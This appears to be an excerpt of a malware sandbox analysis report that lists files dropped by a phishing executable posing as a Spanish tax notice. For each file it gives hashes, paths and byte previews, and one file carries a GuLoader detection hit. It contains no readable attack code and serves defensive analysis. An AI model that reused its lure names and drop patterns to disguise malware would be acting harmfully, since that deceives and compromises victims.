Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2402537125969615
Encrypted:	false
SSDEEP:	192:VMqd9vIxWmBUWSaX+AMWVM+Du76vfAIO8h:vnI5BUWSaOaq+Du76vfAIO8h
MD5:	ED680D8D31F3FD082DCB77CF6EAE07E1
SHA1:	878F217646AB6F4649CE1CA8931C2A3EB35F5393
SHA-256:	5F789CCB151E1D25AFB76A85FCADDBBFA6EF7CE61044F25C05687DB400312523
SHA-512:	FC3A12027BAF17535ABDD7D4842B05196257AF77465EF3868247B677D7D87CB599CDA8647B57EA4658183E3B8198C552C345948EE8D317389DEF6A2E9F93F20A
Malicious:	false
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.2.3.7.8.5.9.1.0.9.5.9.3.6.6.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.2.3.7.8.5.9.1.1.7.5.6.0.5.0.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.9.d.e.7.5.d.d.-.c.a.8.c.-.4.b.4.0.-.8.9.3.f.-.3.6.d.d.d.5.1.5.d.b.d.d.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.9.8.5.9.7.d.f.-.7.4.e.a.-.4.6.d.7.-.b.6.3.e.-.b.c.9.f.6.4.8.4.2.e.9.9.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.c.a.s.p.o.l...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.c.a.s.p.o.l...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.b.8.-.0.0.0.1.-.0.0.1.5.-.6.a.2.6.-.e.1.7.6.2.0.5.b.d.9.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.0.f.5.1.9.f.e.e.c.4.8.6.d.e.8.7.e.d.7.3.c.b.9.2.d.3.c.a.c.8.0.2.4.0.0.0.0.0.0.0.0.!.0.0.0.0.8.c.6.8.c.a.3.f.0.1.3.c.4.9.0.1.6.1.c.0.1.5.6.e.f.3.5.9.a.f.0.3.5.9.4.a.e.5.e.2.!.C.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER3F32.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Mon Mar 20 11:38:31 2023, 0x1205a4 type
Category:	dropped
Size (bytes):	295522
Entropy (8bit):	3.596920993962001
Encrypted:	false
SSDEEP:	3072:cgHI52q0a/2Ljp/oy7ppf4uEqVsLTgtUBLnF:cgo52qn/Miy7pV41TgtU
MD5:	1307F65F3C6CBD8BC7DF63E7CEF9714A
SHA1:	E6F931110CB86AE00F0461CE761970EB50695AE9
SHA-256:	6F1B13539C7BFD4C7EFE04C03DA6767AD5963B868F80CB1B1C709ABAE0044CFF
SHA-512:	D3430BE583A87BF2E3C2AEBA0B075762DAD1C7C174DDB21BBA4AD87DC30FCA50487CEB63B6DA1F47C9FD10B9FFA87417161836A142EBE4F7EC7E2B4E96700A70
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ........E.d.........................#..........T"..,c..........T.......8...........T........... c..B............,..........................................................................................bJ......8/......GenuineIntel...........T............E.d.............................0..................G.M.T. .S.t.a.n.d.a.r.d. .T.i.m.e...................................................G.M.T. .D.a.y.l.i.g.h.t. .T.i.m.e...................................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER40F8.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8464
Entropy (8bit):	3.702193266151724
Encrypted:	false
SSDEEP:	192:R9l7lZNipzj6I62a6Y156/6gmfZCCCLFpr789b5gsfYTm:R9lnNitj6I6b6Y76CgmfhL5zfx
MD5:	60563EF0E3B4B1A13813CB462B103B4A
SHA1:	1F93939309371B7989DC47528DFC3FB6EF704C12
SHA-256:	21A67973FA6ABDC6260575BECB028BAF5B6C77C467188F86F897A1134EEC6A14
SHA-512:	EDEED8E06EE5CA70683A3F77880522CA6F03D1C40FA52E72C184B8D677C0AD331D9BE1B03CB7BB42C83EB28D7FE35BF2E68A3BB092C3731F2966A24F5910AFE4
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.2.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...1.1.6.5...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.1.6.5.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.8.1.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4128.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4926
Entropy (8bit):	4.518247674827522
Encrypted:	false
SSDEEP:	48:cvIwwtl8zsqe702I7VFJ5WS2CfjkBns3rm8M4JdyFA+q8vrsOvkVd:uILfP7GySPf9JBKvvkVd
MD5:	C8D911DB5AA6437AD975FB5BA0A1FD08
SHA1:	9B23854B43096642E7851310D38AB5A38D5A5B7D
SHA-256:	A652CFDD2AEA561BC70ADFA093D4E4D4307FC04DD3D3E5D9EE81CFE8DC7BC7F0
SHA-512:	E454D111FCBA42B7635940A1280A60D6B70EDB74405DBFC14AD3125F9CE2F586DCA5D01770437991A6A98E6B86637720ED4FDF43331D2C3FCC0DE4C7A472D9CD
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19042" />.. <arg nm="vercsdbld" val="1165" />.. <arg nm="verqfe" val="1165" />.. <arg nm="csdbld" val="1165" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="242" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="222060380" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Abtegnene\Fabriksnyt\Mdepligts\Sprnghoved\colorimeter-colorhug-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	227
Entropy (8bit):	6.604776901672149
Encrypted:	false
SSDEEP:	6:6v/lhPysE9Xj1F/bkqdXujFErL4MImATQZu22F+p:6v/7kR7/bjd8Kgm2Q/2y
MD5:	7843C38CC42C6786B3373F166AF10172
SHA1:	BA0163109D9B641B1312230B3F62E1E10A61AA5E
SHA-256:	E3AF1293F8E8AB5C81300196AF55A7C15D5608291D46A2B86D4255910A7D0E59
SHA-512:	B1D3DF6A0A8CACD729CD9A2FD5AB0F74ED611270FA172CDBEB13D46FA71DD5CC5540A2FBFDB6C3004E652D317C8FAD4EC3AE437DF1C082B629870A33CC6BD34F
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...1..P......#.bae....^.^K/fek+........X...........gfw....\.D/..b...a.4..$........H#....o8...}..6.K.....Xc.$ ..'.1.2..vu.../O..>V......CD....<....w........IEND.B`.

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Betegner.But

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	data
Category:	dropped
Size (bytes):	219901
Entropy (8bit):	7.346720674827732
Encrypted:	false
SSDEEP:	3072:Pcm5+sib8rmT/zvMEV7N+9Cxn1UAPWY+X2g6g6yc3b6Gr07B1i:Pcm5+KrCbUEpNmC11UAPo9Eb6Gr0VA
MD5:	513144AEAF00A1862C312A14C5845328
SHA1:	4EE06E09FF90E24E6D8A61B98D86744E4A450913
SHA-256:	32483AC943D45F79D021312D39A11BB03B39103D475327A8C52B7F622EA837C4
SHA-512:	3935E898FCC0880164CD7A72495EE7BFF53BCC28E8A955AFB2123CA6C0B0298BF68CE25BC66B53A434D474ABC8130FD702D0BEB5614857BA0A89DFEF8D344B84
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Betegner.But, Author: Joe Security
Preview:	.FFFF...v...M....T........s......777..rr..o.............11.q.............................$$$..........L...jj........... .........v.ll.............FFF...........vv..................+......................@.zz...................H...LL..hh....d..WW...................f..ss...##........................t.....&........................L..........q.........U................ll....q..3.O........(.....~..\|\|.8..a...........XX.............S................<....tt.................%%.......q.%............................mmm........ttttt..........DD..ppppp.**...."...b..<.JJ.PPP........N.........................rrr.DD..............T........~.............bbb.......x.{...............hhh....tt.............)....................'......p.....====...44.....nnnnn....n...2.MM.........^...x................//........C..........l............}....`.........QQQ...D....t...................\|...............22...........'................................O.........\......p.SS.....................k..T...............eee...".

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Diuresis\Slockingstone\Rattlebrains\battery-level-90-charging-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	6689
Entropy (8bit):	5.135211840989561
Encrypted:	false
SSDEEP:	192:VkjcMIy2+X2I2F2C2G2fH7y8cQaVB2nnuy1FQOcQaVv2q22L2k2s:mjcM7u8xaV8nnL1FQOxaVu6
MD5:	C96D0DD361AFC6B812BDDD390B765A26
SHA1:	71081F096719CAA70B9BAEF86FE642635D8E2765
SHA-256:	6690799E5FA3FB0DD6CCE4BAC5AA1607C8A6BB16507854A87520C7DE53052E1B
SHA-512:	7C73BC880A9401C64AB0571957B414180C1B94137C7BC870BA602979E7A990640A37991CB87A40BC7E5942A37FDA25EFC58C759C00F4344BA3D88B9AA64182DA
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<svg. xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:cc="http://creativecommons.org/ns#". xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#". xmlns:svg="http://www.w3.org/2000/svg". xmlns="http://www.w3.org/2000/svg". width="16". version="1.1". style="enable-background:new". id="svg7384". height="16.000036">. <metadata. id="metadata90">. <rdf:RDF>. <cc:Work. rdf:about="">. <dc:format>image/svg+xml</dc:format>. <dc:type. rdf:resource="http://purl.org/dc/dcmitype/StillImage" />. <dc:title>Gnome Symbolic Icons</dc:title>. <cc:license. rdf:resource="http://creativecommons.org/licenses/by-sa/4.0/" />. </cc:Work>. <cc:License. rdf:about="http://creativecommons.org/licenses/by-sa/4.0/">. <cc:permits. rdf:resource="http://creativecommons.org/ns#Reproduction" />. <cc:permits. rdf:resource="htt

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb\preferences-desktop-font-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	225
Entropy (8bit):	6.596645802250635
Encrypted:	false
SSDEEP:	6:6v/lhPysi5NuhsPwRngRfPq/3+phjSfVsup:6v/7thstJACSNsc
MD5:	F894266AB6A933B2FDA751E6490C319A
SHA1:	2D2D3635198FEEFCB64D1D6B3CDCCDC4EA3DF4B0
SHA-256:	95F533585B4C61936C369557B3B7E397E56545A4C9DB9A5BDDD0E9ABB7A7F7E7
SHA-512:	977ED04753C3CB2B883D03A2A55001F6FCC8617DC3060B6C25AB7E5C691C3F76049E7DEADC7F6567AB7E8DC8492DE2874E8E632CF3EAD7B39ABC8CC98D331442
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8..1..@.E...".u.`..#.v.,r.[..1$..]B.@6.,,.e.....fwg...._)9........y..[n...t.$g..:...P....@k.q......W.. .PY.$z..x....t..(-~!.0$:P.t......`.......Ba..Y.....IEND.B`.

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb\task-due-symbolic.symbolic.png

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	263
Entropy (8bit):	6.731374842054556
Encrypted:	false
SSDEEP:	6:6v/lhPysw9TXm0RZC/8xhbPgfdSwj4vw29OjuAO4+ZvYNVp:6v/7QVXm0a/8xhbPgfdSBvNYn2ZvYd
MD5:	003B524806C1CA654CAC6ED2EB883E1B
SHA1:	F6F6ACA125DC4DB3B33378404017B5EE7D21D334
SHA-256:	2899E53769FA741E2C0675A2C69D2C246A8F34601BEE58DD66B16261005962A9
SHA-512:	AA905997F9CE39F039E33C4CCA167C0137775D91B4929D918528BA00B92737C448EC46D91A4221644CCC00D1FCAA403AFF83F07276BAB6FD80D4B9E88E652F87
Malicious:	false
Preview:	.PNG........IHDR................a....sBIT....\|.d.....IDAT8...K..1.D......g.e=.x......[]....Y$J'..`.@.S)R.4.q.D.K....x..%..0>~.;}..^.X....Lt.f!..K.....D.&,.7,..BM..t@..}N..o.?.....Hv.J...(..r.. ..)L....&..dT<..1y...X..X...............q...p..p.....IEND.B`.

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Handlingssted\Skovsnegles\Herb\window-close.png

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	7.143668471552015
Encrypted:	false
SSDEEP:	6:6v/lhPWFmX9Ckymx8BZhCjO5QO6MsHqd+K/eBDQeU2oG9xqgjp:6v/7K0omx8yOqVtHH1U2oGR
MD5:	7FBFE5B0A7AD2A67AACFD8481F8DCA01
SHA1:	21BABB6B7EC4746835DB43DC6A69A4AF0EFECA2D
SHA-256:	0B4CD789E087F712F131FACCD754DC461774498DF3CA19B346D461D18A0AE622
SHA-512:	3A8F0D9653301F789A0588E848C40FFC92394461BF70A3421ABC85647F2C115948134FE9E161D055A11D200536356A15677D9C0E645346D27E122001F67FE22B
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx..S.r.P..=7.cw.....W.m...=......V....I...K.?#@D.0G......R.rF..^$....p..b..f.<.T.z......... +..3#.v.K...$....pT.j.....[.......r..p....O.2.Y.T.,......==...9{/...T./....Qa...3%....5...xmkI.7.1..P,g.%y..J..#^.e..I(.%jzI..#../..49...*..?#..I. =~..E.,MN@........`...../...=.-...1....IEND.B`.

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\Minnesanger25.Sug

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	ASCII text, with very long lines (42980), with no line terminators
Category:	dropped
Size (bytes):	42980
Entropy (8bit):	2.6491437374043274
Encrypted:	false
SSDEEP:	768:KKarEEEJuib+7F22Ecarbbywoo4JaAgYqPfNsYEYp8ZTrVW8cZdUofY/xHXDABh2:psbRuyPjmtEQdsBEBhMX
MD5:	6A34939EF0C3ABACF5534BBDB1BB40F0
SHA1:	3752964E0E0A0552427FE4F9269286CC77A8582C
SHA-256:	8689CF2163F824CDEE10C5FE950A2119050D389348D8FC80E424CCE57EC1CE33
SHA-512:	49510854911026B1BBA9A038FF2D06CE5CB9860662ED6D597AF9664A1F48A5D39602E26240639CA1EBA6003B03E5C6ECAB06BFB4B67C1CA437A57BCAB1ECBE62
Malicious:	false
Preview:	000000E4005700000000000000A8A8009500B500A0A00000007900800000EBEBEB008600009C00E200FC0000000000004F00454545454500003B00009F9F00008888000012121212001515000000BABABA002D000500009A004200009191000000004F4F00D60000002F0000373737373737370000007F00000000EC00009898000000780000676767006100DBDBDBDB00008585858500D70092006E004A0064000000545454540000BC00EF0000005050505050500000696969690000005B5B00D5D5D500000B0B0000001A1A1A1A008D8D00CF0000C5C500F1F1F100900000C9C9C900CACA0000000000000000003700000000005D5D5D006D6D0007070707000046464600006A6A6A6A0000000000000000620000B6B600AAAAAA000000006D6D0000A5A5A5A5A50000000000006969005100A50012120035353500400000A5A5A5000000003600FE00530000C9C9000000000000ECEC0000006B6B00EC000000F200424242000000EF000000000000000057009696008A8A8A0099002020200000CA0000000000FF00008E00A8A8000000000000BB00F8F8F80000E4E4E4000000CDCD00009A0000E900005500000024007C00990000DE00001B0000008100000000230000005E5E5E007A7A7A7A000000000000000000FE000D00646464000000000000E1000066009400CC001F1F001800

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.Primitives.dll

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	14952
Entropy (8bit):	6.599053939997928
Encrypted:	false
SSDEEP:	192:mrlnC6xxk2R5Ws+Wql73WOL8/pCuPHnhWgN7aoWTF6lI+XqnajlkEv:6nbW2R5Ws+Wql7//uPHRN7SIImlqW
MD5:	EDA04E04EBC0EBF7F8BBF30C4DAE6DE3
SHA1:	7BC4D50E6EEC7F04A9272BFEE4E4DB6F278DBE63
SHA-256:	F3E55CB3ADFA93F563B09114D93062E680AB0864C220491458FBE151798B862F
SHA-512:	7027DA3404675596B71394B660E600DA12C0750895F624776362167869760555EE9990699FFC9E4407301FC9437B2F638E2734B8BDEF3C7054990FD5A9C86550
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: rJUSTIFICANTEDEPAGO.exe, Detection: malicious, Browse Filename: rFACTURA_FAC_2023_1-1000733.PDF.exe, Detection: malicious, Browse Filename: rJUSTIFICANTEDEPAGO.exe, Detection: malicious, Browse Filename: rFACTURA_FAC_2023_1-1000733.PDF.exe, Detection: malicious, Browse Filename: AEAT-Notificaci#U00f3n..rar, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."!..0.............^+... ........@.. ....................................`..................................+..K....@..................h$...`......T..8............................................ ............... ..H............text...d.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................@+......H........ ......................P ......................................H>.s..X.\...3V...?G../..3q..l.L.....qKy6b..u"HO...JmYQ.....J..,.S..".R..=1RY.....\?.&dM........@'J.j.:.'.A.../..........I.BSJB............v4.0.30319......`.......#~..........#Strings............#GUID...........#Blob......................3......................................3.........@...........Y...................`.................g...?.g.....g...y.g.....g.....g.....g...`.g...m.g.................

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\Switchboards\Barnls\System.Reflection.TypeExtensions.dll

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PE32+ executable (DLL) (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32368
Entropy (8bit):	6.393948275188786
Encrypted:	false
SSDEEP:	384:yWweWqlXnYcLpSfX0lawccfNXLWrdzy+A2jc2EPLNtAf/uPHRN7AJ/AlGseC62c:EqlXYcgEAwcc17Wc+bj+PLHuMU/xjx2c
MD5:	F2A123183E106BB1CF19376A8079D171
SHA1:	2B96296BE92D5F2EF7C59A70858AF4CAABC99A9D
SHA-256:	896D4ED138C35ECF19AE432380096562872EAB103F7E352C15D214FD875B337A
SHA-512:	FCA6A89EFB16780A06CD25A55638882970F03E1535180A0E463AF9794184B04EB345CF29B12D4F261094E04A584E9225A7AD36A62631227451059F64A77B3C67
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: rJUSTIFICANTEDEPAGO.exe, Detection: malicious, Browse Filename: rFACTURA_FAC_2023_1-1000733.PDF.exe, Detection: malicious, Browse Filename: rJUSTIFICANTEDEPAGO.exe, Detection: malicious, Browse Filename: rFACTURA_FAC_2023_1-1000733.PDF.exe, Detection: malicious, Browse Filename: AEAT-Notificaci#U00f3n..rar, Detection: malicious, Browse Filename: PO-TO003256.exe, Detection: malicious, Browse Filename: PO-TO003256.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.NSIS.InjectorX-gen.25087.6320.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.NSIS.InjectorX-gen.12248.18354.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.NSIS.InjectorX-gen.25087.6320.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.NSIS.InjectorX-gen.12248.18354.exe, Detection: malicious, Browse Filename: DOC Shane inancial Holdings LLC Transaction Information 11.10.2022 .exe, Detection: malicious, Browse Filename: DOC Shane inancial Holdings LLC Transaction Information 11.10.2022 .exe, Detection: malicious, Browse Filename: PO-EP3141802303 -42804009_83276378283989393872376532893293009783763.exe, Detection: malicious, Browse Filename: DOC Shane inancial Holdings LLC Transaction Information 11.10.2022 .exe, Detection: malicious, Browse Filename: PO-EP3141802303 -42804009_83276378283989393872376532893293009783763.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....[............" .....P................................................................`...@......@............... ......................................<........Z..p$...p..........T...............................................................H............text....N.......P.................. ..`.data........`.......R..............@....reloc.......p.......X..............@..B............................................0.............................4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...................y.........?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...Z.!...C.o.m.m.e.n.t.s...S.y.s.t.e.m...R.e.f.l.e.c.t.i.o.n...T.y.p.e.E.x.t.e.n.s.i.o.n.s.....L.....C.o.m.p.a.n.y.N.a.m.e.....M.i.c.r.o.s.o.f.t. .C.o.r.p.o.r.a.t.i.o.n...j.!...F.i.l.e.D.e.s.c.r.i.p.

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\media-playlist-consecutive-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	4.950241534342892
Encrypted:	false
SSDEEP:	24:t4Cp/YHyKbRAecFxVrGDT/Gfd8hTdyKbRAecFxVrGDT/bNxNxZrGQ:9YHNtAecFmDT/s8hdNtAecFmDT/j3YQ
MD5:	021A9F00A28C9D496E490AE951E8EF12
SHA1:	F8A6392065D07BAC72E138B0E47A24FFDCCEE74B
SHA-256:	B420561770B77FCB47F69B6198B34B11155535F8A2E907BC4A0998CE74AFD340
SHA-512:	7F4F2D904EA968BF68E35E0D7F1EAE9718234757D1989879996BFB49D9C447F67544CB0E1C441FD6539D58B5F2C6ACA7E9E0208738C235D9AF0C093511760212
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><g fill="#474747"><path d="M1.018 7v2H14V7z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decoration-style:solid;text-decoration-color:#000;text-transform:none;text-orientation:mixed;shape-padding:0;isolation:auto;mix-blend-mode:normal;marker:none" color="#bebebe" font-weight="400" font-family="sans-serif" overflow="visible"/><path d="M11.99 4.99a1 1 0 00-.697 1.717L12.586 8l-1.293 1.293a1 1 0 101.414 1.414L15.414 8l-2.707-2.707a1 1 0 00-.717-.303z" style="line-height:normal;font-variant-ligatures:normal;font-variant-position:normal;font-variant-caps:normal;font-variant-numeric:normal;font-variant-alternates:normal;font-feature-settings:normal;text-indent:0;text-align:start;text-decoration-line:none;text-decorati

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\network-offline-symbolic.svg

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1155
Entropy (8bit):	5.154592341044034
Encrypted:	false
SSDEEP:	24:t4CpQyhEXQDWu4AeWrGMyRQJaPahrGDfJcghSvOqlIQX6e4AeWrGMyp:vhjDWu4Ae3M5wSgDDontqe4Ae3MO
MD5:	EFB3C780BC44B346B50B1F0DC6CF6D0F
SHA1:	472B0EDD1C4C3092BC7C4DF934ABE126885B1780
SHA-256:	990859D3B2C830E23EC276BF1D38A38EE1BA3D89BF04CB138107E4CDE31167B5
SHA-512:	5B9C96F146C6A065C89172D02BDE8020876DC9C78859AD2B8B9529C615215F88BA85C2789544F5C5A247C148BB52FE4B5FCA325E7EAC4826D31A0365A0B8BCBE
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"><g fill="#474747"><path d="M5 7c-.31 0-.615.09-.812.281L.594 11l3.656 3.719c.198.19.44.281.75.281h1v-1c0-.257-.13-.529-.312-.719L4.406 12H9s1 0 1-1c0 0 0-1-1-1H4.375l1.219-1.281C5.776 8.529 6 8.257 6 8V7z" style="line-height:normal;-inkscape-font-specification:Sans;text-indent:0;text-align:start;text-decoration-line:none;text-transform:none;marker:none" color="#000" font-weight="400" font-family="Sans" overflow="visible" opacity=".35"/><path d="M11 11h1.375l1.125 1.094L14.594 11H16v1.469l-1.094 1.062L16 14.594V16h-1.438L13.5 14.937 12.437 16H11v-1.406l1.063-1.063L11 12.47z" style="marker:none" color="#bebebe" overflow="visible"/><path d="M11 9c.31 0 .615-.09.813-.281L15.406 5 11.75 1.281C11.552 1.091 11.31 1 11 1h-1v1c0 .257.13.529.313.719L11.593 4H7c-.528-.007-1 .472-1 1s.472 1.007 1 1h4.625l-1.219 1.281c-.182.19-.406.462-.406.719v1z" style="line-height:normal;-inkscape-font-specification:Sans;text-indent:0;text-align:star

C:\Users\user\AppData\Local\Temp\Musicalises34\Coleman\Biarcuated\network-wireless.png

Download File

Process:	C:\Users\user\Desktop\rAEAT-AvisodeNotificaci__n.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	891
Entropy (8bit):	7.745720384539504
Encrypted:	false
SSDEEP:	24:d4qWCHdkXfUZEcO5MkIi416cOQSkye9V+:d4qnHd8MkIi4Dpb6
MD5:	5AF147D26AD399F83825377F04FD56A1
SHA1:	B378A498B0DB8114C794E21D533E80CEBE5DDE04
SHA-256:	6147A091847FCC9D9EDB22E655C4FC9DE6632C76D4252350400FA286F9791109
SHA-512:	EEC16DE49A4698FE4F03F841FBCF045FBBDC9D634EB73ED35DB544B6DB4BC0135CD8E1DF102FD1E8BDE9FC75380948B4C0459685EE2C21858D645B7973759EA6
Malicious:	false
